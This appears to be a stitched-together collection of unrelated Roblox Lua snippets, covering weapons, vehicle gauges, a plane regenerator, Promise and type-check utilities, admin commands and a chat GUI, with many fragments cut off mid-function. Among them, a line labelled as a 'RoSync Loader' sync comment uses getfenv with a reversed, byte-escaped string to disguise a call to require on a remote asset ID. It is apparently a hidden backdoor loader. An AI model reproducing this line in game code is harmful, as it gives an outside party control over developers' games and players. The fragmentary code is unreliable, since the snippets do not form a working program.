-- Enable the gun to do burst firing like Assault Rifle
-- ====================
|
BurstFireEnabled = true;
BulletPerBurst = 3;
BurstRate = 0.075; --In second
|
-------- OMG HAX
|
r = game:service("RunService")
local damage = 45
local slash_damage = 45
local lunge_damage = 175
sword = script.Parent.Handle
Tool = script.Parent
local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = .7
local LungeSound = Instance.new("Sound")
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
LungeSound.Parent = sword
LungeSound.Volume = .6
local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1
function blow(hit)
local humanoid = hit.Parent:findFirstChild("Humanoid")
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
if humanoid~=nil and humanoid ~= hum and hum ~= nil then
print("SWORD HIT")
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(damage)
wait(1)
untagHumanoid(humanoid)
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function attack()
damage = slash_damage
SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function lunge()
damage = lunge_damage
LungeSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Lunge"
anim.Parent = Tool
force = Instance.new("BodyVelocity")
force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80
force.Parent = Tool.Parent.Torso
wait(.25)
swordOut()
wait(.25)
force.Parent = nil
wait(.5)
swordUp()
damage = slash_damage
end
function swordUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function swordOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
function swordAcross()
-- parry
end
Tool.Enabled = true
local last_attack = 0
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
t = r.Stepped:wait()
if (t - last_attack < .2) then
lunge()
else
attack()
end
last_attack = t
--wait(.5)
Tool.Enabled = true
end
function onEquipped()
UnsheathSound:play()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
connection = sword.Touched:connect(blow)
|
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
|
local AimInaccuracyStepAmount = 0.01
|
-- goro7
|
local plr = game.Players.LocalPlayer
function update()
-- Calculate scale
local scale = (plr.PlayerGui.MainGui.AbsoluteSize.Y - 20) / script.Parent.Parent.Size.Y.Offset
if scale > 1.5 then
scale = 1.5
end
if scale > 0 then
script.Parent.Scale = scale
end
end
plr.PlayerGui:WaitForChild("MainGui"):GetPropertyChangedSignal("AbsoluteSize"):connect(update)
update()
|
-- ROBLOX MOVED: expect/jasmineUtils.lua
|
local function keys(obj: Table, _hasKey: (Table, string) -> boolean)
local keys_ = {}
for key in pairs(obj) do
if obj[key] ~= nil then
table.insert(keys_, key)
end
end
-- ROBLOX deviation: code omitted for adding 'extraKeys' since we don't have
-- similar concerns of overlooking symbols and non-numeric properties for
-- arrays
-- Thus, in the array case we should always just be returning an empty array
return keys_
end
|
--Player.CameraMode = "Classic"
|
if Player.PlayerGui:FindFirstChild("Scope") ~= nil then
end
end
end
end
Tool.Equipped:connect(function(mouse)
mouse.KeyDown:connect(ZOOM)
end)
|
-- / WindLines / --
|
WindLines:Init(WindLinesSettings)
|
--[[**
ensures value is a number where min < value < max
@param min The minimum to use
@param max The maximum to use
@returns A function that will return true iff the condition is passed
**--]]
|
function t.numberConstrainedExclusive(min, max)
assert(t.number(min) and t.number(max))
local minCheck = t.numberMinExclusive(min)
local maxCheck = t.numberMaxExclusive(max)
return function(value)
local minSuccess, minErrMsg = minCheck(value)
if not minSuccess then
return false, minErrMsg or ""
end
local maxSuccess, maxErrMsg = maxCheck(value)
if not maxSuccess then
return false, maxErrMsg or ""
end
return true
end
end
|
--[[
Poppercam - Occlusion module that brings the camera closer to the subject when objects are blocking the view.
--]]
|
local ZoomController = require(script.Parent:WaitForChild("ZoomController"))
local TransformExtrapolator = {} do
TransformExtrapolator.__index = TransformExtrapolator
local CF_IDENTITY = CFrame.new()
local function cframeToAxis(cframe: CFrame): Vector3
local axis: Vector3, angle: number = cframe:toAxisAngle()
return axis*angle
end
local function axisToCFrame(axis: Vector3): CFrame
local angle: number = axis.magnitude
if angle > 1e-5 then
return CFrame.fromAxisAngle(axis, angle)
end
return CF_IDENTITY
end
local function extractRotation(cf: CFrame): CFrame
local _, _, _, xx, yx, zx, xy, yy, zy, xz, yz, zz = cf:components()
return CFrame.new(0, 0, 0, xx, yx, zx, xy, yy, zy, xz, yz, zz)
end
function TransformExtrapolator.new()
return setmetatable({
lastCFrame = nil,
}, TransformExtrapolator)
end
function TransformExtrapolator:Step(dt: number, currentCFrame: CFrame)
local lastCFrame = self.lastCFrame or currentCFrame
self.lastCFrame = currentCFrame
local currentPos = currentCFrame.p
local currentRot = extractRotation(currentCFrame)
local lastPos = lastCFrame.p
local lastRot = extractRotation(lastCFrame)
-- Estimate velocities from the delta between now and the last frame
-- This estimation can be a little noisy.
local dp = (currentPos - lastPos)/dt
local dr = cframeToAxis(currentRot*lastRot:inverse())/dt
local function extrapolate(t)
local p = dp*t + currentPos
local r = axisToCFrame(dr*t)*currentRot
return r + p
end
return {
extrapolate = extrapolate,
posVelocity = dp,
rotVelocity = dr,
}
end
function TransformExtrapolator:Reset()
self.lastCFrame = nil
end
end
|
--easter egg
|
mouse.KeyDown:connect(function(key)
if key=="u" and script.Blown.Value == false then
Heat = Heat+1
end
end)
if not FE then
radiator.Oil.Enabled = false
radiator.Antifreeze.Enabled = false
radiator.Liquid.Volume = 0
radiator.Fan:Play()
radiator.Fan.Pitch = 1+FanSpeed
radiator.Steam:Play()
radiator.Liquid:Play()
script.Blown.Value = false
while wait(.2) do
if Heat > FanTemp and Fan == true then
FanCool = -FanSpeed
radiator.Fan.Volume = FanVolume
elseif Heat < FanTempAlpha then
FanCool = 0
radiator.Fan.Volume = 0
end
Load = ((script.Parent.Parent.Values.Throttle.Value*script.Parent.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency
Heat = math.max(RunningTemp,(Heat+Load)+FanCool)
if Heat >= BlowupTemp then
Heat = BlowupTemp
radiator.Break:Play()
radiator.Liquid.Volume = .5
radiator.Oil.Enabled = true
radiator.Antifreeze.Enabled = true
script.Parent.Parent.IsOn.Value = false
script.Blown.Value = true
car.Body.ExhaustH.Fire.Fire.Enabled = true
car.Body.ExhaustH.Fire.FireLight.Enabled = true
car.Body.ExhaustH.Fire.Smoke.Enabled = true
elseif Heat >= BlowupTemp-20 then
radiator.Smoke.Transparency = NumberSequence.new((BlowupTemp-Heat)/10,1)
radiator.Smoke.Enabled = true
radiator.Steam.Volume = math.abs(((BlowupTemp-Heat)-10)/10)
else
radiator.Smoke.Enabled = false
radiator.Steam.Volume = 0
car.Body.ExhaustH.Fire.Fire.Enabled = false
car.Body.ExhaustH.Fire.FireLight.Enabled = false
car.Body.ExhaustH.Fire.Smoke.Enabled = false
end
script.Celsius.Value = Heat
script.Parent.Temp.Text = math.floor(Heat).."°c"
script.Parent.Temp.TextColor3 = Color3.fromRGB(255,255-((Heat-FanTemp)*10),255-((Heat-FanTemp)*10))
end
else
handler:FireServer("Initialize",FanSpeed)
while wait(.2) do
if Heat > FanTemp and Fan == true then
FanCool = -FanSpeed
handler:FireServer("FanVolume",FanVolume)
else
FanCool = 0
handler:FireServer("FanVolume",0)
end
Load = ((script.Parent.Parent.Values.Throttle.Value*script.Parent.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency
Heat = math.max(RunningTemp,(Heat+Load)+FanCool)
if Heat >= BlowupTemp then
Heat = BlowupTemp
handler:FireServer("Blown")
script.Parent.Parent.IsOn.Value = false
script.Blown.Value = true
elseif Heat >= BlowupTemp-10 then
handler:FireServer("Smoke",true,BlowupTemp,Heat)
else
handler:FireServer("Smoke",false,BlowupTemp,Heat)
end
script.Celsius.Value = Heat
script.Parent.Temp.Text = math.floor(Heat).."°c"
end
end
|
-- A graph object which can have dependencies.
|
export type Dependent = {
update: (Dependent) -> boolean,
dependencySet: Set<Dependency>
}
|
-- Keep in mind this will stop working if roblox changes any of the default blocky meshes, though I doubt that would happen anytime soon, if ever.
-- If it does happen, though, just put a new DefaultR15 rig in the script with up to date meshes and it will work again.
-- Alternatively, let me know personally and I'll update this script. :)
| |
--[=[
Converts an event into a Promise which resolves the next time the event fires.
The optional `predicate` callback, if passed, will receive the event arguments and should return `true` or `false`, based on if this fired event should resolve the Promise or not. If `true`, the Promise resolves. If `false`, nothing happens and the predicate will be rerun the next time the event fires.
The Promise will resolve with the event arguments.
:::tip
This function will work given any object with a `Connect` method. This includes all Roblox events.
:::
```lua
-- Creates a Promise which only resolves when `somePart` is touched
-- by a part named `"Something specific"`.
return Promise.fromEvent(somePart.Touched, function(part)
return part.Name == "Something specific"
end)
```
@since 3.0.0
@param event Event -- Any object with a `Connect` method. This includes all Roblox events.
@param predicate? (...: P) -> boolean -- A function which determines if the Promise should resolve with the given value, or wait for the next event to check again.
@return Promise<P>
]=]
|
function Promise.fromEvent(event, predicate)
predicate = predicate or function()
return true
end
return Promise._new(debug.traceback(nil, 2), function(resolve, _, onCancel)
local connection
local shouldDisconnect = false
local function disconnect()
connection:Disconnect()
connection = nil
end
-- We use shouldDisconnect because if the callback given to Connect is called before
-- Connect returns, connection will still be nil. This happens with events that queue up
-- events when there's nothing connected, such as RemoteEvents
connection = event:Connect(function(...)
local callbackValue = predicate(...)
if callbackValue == true then
resolve(...)
if connection then
disconnect()
else
shouldDisconnect = true
end
elseif type(callbackValue) ~= "boolean" then
error("Promise.fromEvent predicate should always return a boolean")
end
end)
if shouldDisconnect and connection then
return disconnect()
end
onCancel(disconnect)
end)
end
return Promise
|
--!strict
--[=[
@function removeValue
@within Array
@param array {T} -- The array to remove the value from.
@param value T -- The value to remove.
@return {T} -- The array with the value removed.
Removes a value from an array.
```lua
local array = { 1, 2, 3 }
local new = RemoveValue(array, 2) -- { 1, 3 }
```
]=]
|
local function removeValue<T>(array: { T }, value: T): { T }
local result = {}
for index, arrValue in ipairs(array) do
if arrValue ~= value then
table.insert(result, arrValue)
end
end
return result
end
return removeValue
|
-- Using the FindPartsInRegion3 API, this regen is "smart" and will NOT regenerate if something is in the way.
-- If something IS in the way, the script will wait for the area to be clear.
|
local plane = script.Parent.Plane.Plane:clone()
script.Parent.Plane.Plane.Cloned.Value,plane.Cloned.Value = true,true
script.Parent.Plane.Plane.Origin.Value = script.Parent
local regen = script.Parent.Regen
local active = false
local downtime = 5 -- This is the only thing you should edit in any script in this plane kit. Every other piece of code should be left alone
plane.PrimaryPart = plane.MainParts.Main
local planeSize = plane:GetModelSize()
local planePos = plane:GetModelCFrame().p
local v0 = (planePos-(planeSize/2))
local v1 = (planePos+(planeSize/2))
local region = Region3.new(v0,v1) -- Creates a 3D space using two Vector3s
local gui = Instance.new("ScreenGui")
gui.Name = "RegenGui"
local f = Instance.new("Frame",gui)
f.Name = "Message"
f.Style = Enum.FrameStyle.RobloxRound
f.Position = UDim2.new(0.5,-150,0.25,-15)
f.Size = UDim2.new(0,300,0,30)
local t = Instance.new("TextLabel",f)
t.Name = "Msg"
t.Text = "Awaiting area to be clear for regeneration to continue"
t.TextColor3 = Color3.new(1,1,1)
t.Font = Enum.Font.ArialBold
t.FontSize = Enum.FontSize.Size12
t.Position = UDim2.new(0.5,0,0.5,0)
function getPassengers(pln) -- Checks for other players in seats on the plane. If no one is on board, the plane will be marked as "inactive" and removed
local plrs = {}
local function scan(parent)
for _,v in pairs(parent:GetChildren()) do
if ((v:IsA("Seat")) or (v:IsA("VehicleSeat"))) then
if ((v:findFirstChild("SeatWeld")) and (v.SeatWeld.Part1)) then
local plr = game.Players:GetPlayerFromCharacter(v.SeatWeld.Part1.Parent)
if (plr) then table.insert(plrs,plr) end
end
end
scan(v)
end
end
scan(pln)
return plrs
end
function deleteInactivePlanes()
for _,v in pairs(script.Parent:GetChildren()) do
if (v.Name == plane.Name) then
local passengers = getPassengers(v)
if (#passengers == 0) then
v:remove()
end
end
end
end
function regionIsClear()
local parts = game.Workspace:findPartsInRegion3(region,regen,100)
return (#parts == 0)
end
function regenMain()
local p = plane:clone()
p.Parent = script.Parent
p:MakeJoints()
end
regen.Touched:connect(function(obj)
if (active) then return end
local plr = game.Players:GetPlayerFromCharacter(obj.Parent)
if (not plr) then return end
active = true
deleteInactivePlanes()
for i = 0,0.5,0.1 do
regen.Transparency = i
wait()
end
regen.Transparency = 0.5
while (not regionIsClear()) do
wait(0.5)
if ((plr) and (plr.Parent) and (plr:findFirstChild("PlayerGui"))) then
gui.Parent = plr.PlayerGui
end
end
gui.Parent = nil
regenMain()
wait(downtime)
for i = 0.5,0,-0.1 do
regen.Transparency = i
wait()
end
regen.Transparency = 0
active = false
end)
|
--// F key, Manual
|
mouse.KeyUp:connect(function(key)
if key=="f" then
script.Parent.Parent.Man.TextTransparency = 0.8
veh.Lightbar.middle.Man:Stop()
veh.Lightbar.middle.Wail.Volume = 2
veh.Lightbar.middle.Yelp.Volume = 2
veh.Lightbar.middle.Priority.Volume = 2
veh.Lightbar.middle.Hilo.Volume = 2
veh.Lightbar.middle.Rwail.Volume = 2
script.Parent.Parent.MBOV.Visible = true
script.Parent.Parent.MBOV.Text = "Made by OfficerVargas"
end
end)
mouse.KeyDown:connect(function(key)
if key=="j" then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.RemoteEvent:FireServer(true)
end
end)
mouse.KeyDown:connect(function(key)
if key=="DPadDown" then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.RemoteEvent:FireServer(true)
end
end)
|
--Sounds
|
local equipSound = m4:WaitForChild("Equip")
local fireSound = m4:WaitForChild("Fire")
local reloadSound = m4:WaitForChild("Reload")
local knifeEquipSound = knife:WaitForChild("EquipSound")
local knifeAttackSound = knife:WaitForChild("AttackSound")
local knifeStabSound = knife:WaitForChild("StabSound")
local hurtSound = myHead:WaitForChild("Hurt")
local pinSound = grenade.Pin
|
-- << FUNCTIONS >>
|
function module:Setup()
local commandsToAdd = require(main.server.Modules.Commands)
for i, command in pairs(commandsToAdd) do
if type(command) == "table" then
--ChangeRankRequiredToUseCommand
local commandName = string.lower(command.Name)
local changeRankByNameSetting = main.settings.ChangeRankRequiredToUseCommand or main.settings.SetCommandRankByName
local changeRank = changeRankByNameSetting[command.Name] or changeRankByNameSetting[commandName]
if changeRank then
if tonumber(changeRank) == nil then
changeRank = main:GetModule("cf"):GetRankId(changeRank)
end
command.Rank = changeRank
elseif commandName == "cmdbar" or commandName == "cmdbar2" then
local settingName = commandName:gsub("^%a", function(c) return(string.upper(c)) end)
local setting = main.settings[settingName]
if setting then
if tonumber(setting) == nil then
setting = main:GetModule("cf"):GetRankId(setting)
end
command.Rank = setting
main.settings[settingName] = setting
end
end
--
if commandName ~= "" then
local function getCommandTables()
local template, modified = {},{}
for dataName, data in pairs(command) do
if main:GetModule("cf"):FindValue(main.commandInfoToShowOnClient, dataName) then
template[dataName] = data
elseif dataName == "UnFunction" and type(data) == "function" then
template["UnFunction"] = "un".. string.gsub(command.Name, "%a", function(c) return string.upper(c) end, 1)
end
modified[dataName] = data
end
--
local lowerCaseArgs = {}
if command.Args then
for i,v in pairs(command.Args) do
table.insert(lowerCaseArgs, string.lower(v))
end
end
template.RankName = main:GetModule("cf"):GetRankName(command.Rank)
template.Args = lowerCaseArgs
modified.Args = lowerCaseArgs
--
return template, modified
end
local infoTemplate, modifiedCommand = getCommandTables()
table.insert(main.commandInfo, infoTemplate)
main.commands[commandName] = modifiedCommand
--Special Colors
if command.SpecialColors then
for i,v in pairs(main.settings.Colors) do
local shortName = v[1]
if shortName ~= "w" then
local newTemplate, newModifiedCommand = getCommandTables()
local commandColorName = command.Name..shortName
local color = v[3]
newTemplate.SpecialColor = color
newTemplate.SpecialColorName = shortName
newTemplate.OriginalName = command.Name
newTemplate.Name = commandColorName
newModifiedCommand.SpecialColor = color
newModifiedCommand.Name = commandColorName
newModifiedCommand.OriginalName = command.Name
table.insert(main.commandInfo, newTemplate)
main.commands[commandColorName] = newModifiedCommand
end
end
end
--
for infoName, infoTable in pairs(main.infoOnAllCommands) do
local commandStat = command[infoName]
if type(commandStat) == "table" then
for i,v in pairs(commandStat) do
if infoName ~= "Contributors" then
v = string.lower(v)
end
if infoName == "Contributors" or infoName == "Tags" then
if infoName == "Contributors" and tonumber(v) then
v = main.main:GetModule("cf"):GetName(v)
end
local statCount = main.infoOnAllCommands[infoName][v]
if statCount == nil then
--if infoName ~= "Contributors" or not isCustomCommands then
main.infoOnAllCommands[infoName][v] = 1
--end
else
main.infoOnAllCommands[infoName][v] = statCount + 1
end
elseif infoName == "Aliases" then
main.infoOnAllCommands[infoName][v] = commandName
else
main.infoOnAllCommands[infoName][v] = true
end
end
end
end
main.commandRanks[commandName] = command.Rank
end
end
end
end
return module
|
-- To make this work, simply group it with the model you want!
|
local modelbackup = script.Parent.Parent:FindFirstChild(modelname):clone()
local trigger = script.Parent
enabled = true
function onTouched(hit)
if enabled == true then
enabled = false
trigger.BrickColor = BrickColor.new("Really black")
if script.Parent.Parent:FindFirstChild(modelname) ~= nil then
script.Parent.Parent:FindFirstChild(modelname):Destroy()
end
wait(5)
local modelclone = modelbackup:clone()
modelclone.Parent = script.Parent.Parent
modelclone:MakeJoints()
wait(WaitTime)
enabled = true
trigger.BrickColor = BrickColor.new("Bright violet")
end
end
script.Parent.Touched:connect(onTouched)
|
--[[ Last synced 10/14/2020 09:26 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
--// Animations
|
local L_157_
function IdleAnim(L_318_arg1)
L_24_.IdleAnim(L_3_, L_157_, {
L_44_,
L_45_,
L_46_
});
end;
function EquipAnim(L_319_arg1)
L_24_.EquipAnim(L_3_, L_157_, {
L_44_
});
end;
function UnequipAnim(L_320_arg1)
L_24_.UnequipAnim(L_3_, L_157_, {
L_44_
});
end;
function FireModeAnim(L_321_arg1)
L_24_.FireModeAnim(L_3_, L_157_, {
L_44_,
L_46_,
L_45_,
L_54_
});
end
function ReloadAnim(L_322_arg1)
L_24_.ReloadAnim(L_3_, L_157_, {
L_45_,
L_46_
});
end;
function BoltingBackAnim(L_323_arg1)
L_24_.BoltingBackAnim(L_3_, L_157_, {
L_48_
});
end
function BoltingForwardAnim(L_324_arg1)
L_24_.BoltingForwardAnim(L_3_, L_157_, {
L_48_
});
end
function BoltingForwardAnim(L_325_arg1)
L_24_.BoltingForwardAnim(L_3_, L_157_, {
L_48_
});
end
function BoltBackAnim(L_326_arg1)
L_24_.BoltBackAnim(L_3_, L_157_, {
L_48_,
L_46_,
L_45_,
L_44_,
L_58_
});
end
function BoltForwardAnim(L_327_arg1)
L_24_.BoltForwardAnim(L_3_, L_157_, {
L_48_,
L_46_,
L_45_,
L_44_,
L_58_
});
end
function InspectAnim(L_328_arg1)
L_24_.InspectAnim(L_3_, L_157_, {
L_46_,
L_45_
});
end
function nadeReload(L_329_arg1)
L_24_.nadeReload(L_3_, L_157_, {
L_45_,
L_46_
});
end
|
-- inspd.Rotation = -115 + (220 / 220) * (math.abs(script.Parent.Parent.Values.Velocity.Value.Magnitude*((10/12) * (60/88))))
|
end)
script.Parent.Speed.MouseButton1Click:connect(function()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
for i,v in pairs(script.Parent.Speedo:GetChildren()) do
v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
end
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
mouse.KeyDown:connect(function(key)
if key=="v" then
script.Parent.Visible=not script.Parent.Visible
end
end)
while wait() do
local gearText = script.Parent.Parent.Values.Gear.Value
if gearText == 0 then
gearText = "N"
car.Body.Dash.Gear.G.Gear.Text = "N"
elseif gearText == -1 then
gearText = "R"
car.Body.Dash.Gear.G.Gear.Text = "R"
elseif gearText >= 1 then
if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
gearText = "D"
end
end
script.Parent.Gear.Text = gearText
car.Body.Dash.Gear.G.Gear.Text = gearText
end
|
-- Code for handling controls of various data types --
|
local Controls = {}
Controls["default"] = function(object, propertyData, readOnly)
local propertyName = propertyData["Name"]
local propertyType = propertyData["ValueType"]
local box = CreateTextBox(readOnly)
box.Size = UDim2.new(1, -2 * Styles.Margin, 1, 0)
box.Position = UDim2.new(0, Styles.Margin, 0, 0)
local function update()
local value = object[propertyName]
box.Text = ToString(value, propertyType)
end
if not readOnly then
box.FocusLost:connect(function(enterPressed)
Set(object, propertyData, ToValue(box.Text,propertyType))
update()
end)
end
update()
object.Changed:connect(function(property)
if (property == propertyName) then
update()
end
end)
return box
end
Controls["bool"] = function(object, propertyData, readOnly)
local propertyName = propertyData["Name"]
local checked = object[propertyName]
local checkbox, setValue = CreateCheckbox(checked, readOnly, function(value)
Set(object, propertyData, not checked)
end)
checkbox.Position = UDim2.new(0, Styles.Margin, 0, Styles.Margin)
setValue(checked)
local function update()
checked = object[propertyName]
setValue(checked)
end
object.Changed:connect(function(property)
if (property == propertyName) then
update()
end
end)
if object:IsA("BoolValue") then
object.Changed:connect(function(val)
update()
end)
end
update()
return checkbox
end
Controls["BrickColor"] = function(object, propertyData, readOnly)
local propertyName = propertyData["Name"]
local frame,label,brickColorBox = CreateBrickColor(readOnly, function(brickColor)
Set(object, propertyData, brickColor)
end)
local function update()
local value = object[propertyName]
brickColorBox.BackgroundColor3 = value.Color
label.Text = tostring(value)
end
update()
object.Changed:connect(function(property)
if (property == propertyName) then
update()
end
end)
return frame
end
Controls["Color3"] = function(object, propertyData, readOnly)
local propertyName = propertyData["Name"]
local frame,textBox,colorBox = CreateColor3Control(readOnly)
textBox.FocusLost:connect(function(enterPressed)
Set(object, propertyData, ToValue(textBox.Text,"Color3"))
local value = object[propertyName]
colorBox.BackgroundColor3 = value
textBox.Text = ToString(value, "Color3")
end)
local function update()
local value = object[propertyName]
colorBox.BackgroundColor3 = value
textBox.Text = ToString(value, "Color3")
end
update()
object.Changed:connect(function(property)
if (property == propertyName) then
update()
end
end)
return frame
end
Controls["Enum"] = function(object, propertyData, readOnly)
local propertyName = propertyData["Name"]
local propertyType = propertyData["ValueType"]
local enumName = object[propertyName].Name
local enumNames = {}
for _,enum in pairs(Enum[tostring(propertyType)]:GetEnumItems()) do
table.insert(enumNames, enum.Name)
end
local dropdown, propertyLabel = CreateDropDown(enumNames, enumName, readOnly, function(value)
Set(object, propertyData, value)
end)
--dropdown.Parent = frame
local function update()
local value = object[propertyName].Name
propertyLabel.Text = tostring(value)
end
update()
object.Changed:connect(function(property)
if (property == propertyName) then
update()
end
end)
return dropdown
end
Controls["Object"] = function(object, propertyData, readOnly)
local propertyName = propertyData["Name"]
local propertyType = propertyData["ValueType"]
local box = CreateObject(readOnly,function()end)
box.Size = UDim2.new(1, -2 * Styles.Margin, 1, 0)
box.Position = UDim2.new(0, Styles.Margin, 0, 0)
local function update()
if AwaitingObjectObj == object then
if AwaitingObjectValue == true then
box.Text = "Select an Object"
return
end
end
local value = object[propertyName]
box.Text = ToString(value, propertyType)
end
if not readOnly then
box.MouseButton1Click:connect(function()
if AwaitingObjectValue then
AwaitingObjectValue = false
update()
return
end
AwaitingObjectValue = true
AwaitingObjectObj = object
AwaitingObjectProp = propertyData
box.Text = "Select an Object"
end)
box.Cancel.Visible = true
box.Cancel.MouseButton1Click:connect(function()
object[propertyName] = nil
end)
end
update()
object.Changed:connect(function(property)
if (property == propertyName) then
update()
end
end)
if object:IsA("ObjectValue") then
object.Changed:connect(function(val)
update()
end)
end
return box
end
function GetControl(object, propertyData, readOnly)
local propertyType = propertyData["ValueType"]
local control = nil
if Controls[propertyType] then
control = Controls[propertyType](object, propertyData, readOnly)
elseif RbxApi.IsEnum(propertyType) then
control = Controls["Enum"](object, propertyData, readOnly)
else
control = Controls["default"](object, propertyData, readOnly)
end
return control
end
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 30 -- cooldown for use of the tool again
ZoneModelName = "Heal zone" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
--[[
Returns the system associated with specified model
]]
|
function SystemManager.getSystemByModel(model)
return TableUtils.find(
systems,
function(system)
if system:getModel() == model then
return true
end
end
)
end
|
--[=[
Preloads assets
:::note
If strings are passed in, it only preloads textures, and will preload meshes, but only to http client.
:::
@param contentIdList { Instance | string }
@return Promise
]=]
|
function ContentProviderUtils.promisePreload(contentIdList)
assert(type(contentIdList) == "table", "Bad contentIdList")
return Promise.spawn(function(resolve, reject)
local ok, err = pcall(function()
ContentProvider:PreloadAsync(contentIdList)
end)
if not ok then
return reject(err)
end
resolve()
end)
end
return ContentProviderUtils
|
--[[**
ensures value is either nil or passes check
@param check The check to use
@returns A function that will return true iff the condition is passed
**--]]
|
function t.optional(check)
assert(t.callback(check))
return function(value)
if value == nil then
return true
end
local success, errMsg = check(value)
if success then
return true
else
return false, string.format("(optional) %s", errMsg or "")
end
end
end
|
--// All global vars will be wiped/replaced except script
--// All guis are autonamed client.Variables.CodeName..gui.Name
--// Be sure to update the console gui's code if you change stuff
|
return function(data)
local client, cPcall, Pcall, Routine, service, gTable =
client, cPcall, Pcall, Routine, service, gTable
local gui = script.Parent.Parent
local localplayer = service.Player
local mouse = localplayer:GetMouse()
local playergui = service.PlayerGui
local storedChats = client.Variables.StoredChats
local desc = gui.Desc
local nohide = data.KeepChat
local function Expand(ent, point)
ent.MouseLeave:Connect(function(x, y)
point.Visible = false
end)
ent.MouseMoved:Connect(function(x, y)
point.Text = ent.Desc.Value
point.Size = UDim2.new(0, 10000, 0, 10000)
local bounds = point.TextBounds.X
local rows = math.floor(bounds / 500)
rows = rows + 1
if rows < 1 then
rows = 1
end
local newx = 500
if bounds < 500 then
newx = bounds
end
point.Visible = true
point.Size = UDim2.new(0, newx + 10, 0, rows * 20)
point.Position = UDim2.new(0, x, 0, y - 40 - (rows * 20))
end)
end
local function UpdateChat()
if gui then
local globalTab = gui.Drag.Frame.Frame.Global
local teamTab = gui.Drag.Frame.Frame.Team
local localTab = gui.Drag.Frame.Frame.Local
local adminsTab = gui.Drag.Frame.Frame.Admins
local crossTab = gui.Drag.Frame.Frame.Cross
local entry = gui.Entry
local tester = gui.BoundTest
globalTab:ClearAllChildren()
teamTab:ClearAllChildren()
localTab:ClearAllChildren()
adminsTab:ClearAllChildren()
crossTab:ClearAllChildren()
local globalNum = 0
local teamNum = 0
local localNum = 0
local adminsNum = 0
local crossNum = 0
for i, v in pairs(storedChats) do
local clone = entry:Clone()
clone.Message.Text = service.MaxLen(v.Message, 100)
clone.Desc.Value = v.Message
Expand(clone, desc)
if not string.match(v.Player, "%S") then
clone.Nameb.Text = v.Player
else
clone.Nameb.Text = "["..v.Player.."]: "
end
clone.Visible = true
clone.Nameb.Font = "SourceSansBold"
local color = v.Color or BrickColor.White()
clone.Nameb.TextColor3 = color.Color
tester.Text = "["..v.Player.."]: "
local naml = tester.TextBounds.X + 5
if naml > 100 then
naml = 100
end
tester.Text = v.Message
local mesl = tester.TextBounds.X
clone.Message.Position = UDim2.new(0, naml, 0, 0)
clone.Message.Size = UDim2.new(1, -(naml + 10), 1, 0)
clone.Nameb.Size = UDim2.new(0, naml, 0, 20)
clone.Visible = false
clone.Parent = globalTab
local rows = math.floor((mesl + naml) / clone.AbsoluteSize.X)
rows = rows + 1
if rows < 1 then
rows = 1
end
if rows > 3 then
rows = 3
end
--rows = rows+1
clone.Parent = nil
clone.Visible = true
clone.Size = UDim2.new(1, 0, 0, rows * 20)
if v.Private then
clone.Nameb.TextColor3 = Color3.new(0.58823529411765, 0.22352941176471, 0.69019607843137)
end
if v.Mode == "Global" then
clone.Position = UDim2.new(0, 0, 0, globalNum * 20)
globalNum = globalNum + 1
if rows > 1 then
globalNum = globalNum + rows - 1
end
clone.Parent = globalTab
elseif v.Mode == "Team" then
clone.Position = UDim2.new(0, 0, 0, teamNum * 20)
teamNum = teamNum + 1
if rows > 1 then
teamNum = teamNum + rows - 1
end
clone.Parent = teamTab
elseif v.Mode == "Local" then
clone.Position = UDim2.new(0, 0, 0, localNum * 20)
localNum = localNum + 1
if rows > 1 then
localNum = localNum + rows - 1
end
clone.Parent = localTab
elseif v.Mode == "Admins" then
clone.Position = UDim2.new(0, 0, 0, adminsNum * 20)
adminsNum = adminsNum + 1
if rows > 1 then
adminsNum = adminsNum + rows - 1
end
clone.Parent = adminsTab
elseif v.Mode == "Cross" then
clone.Position = UDim2.new(0, 0, 0, crossNum * 20)
crossNum = crossNum + 1
if rows > 1 then
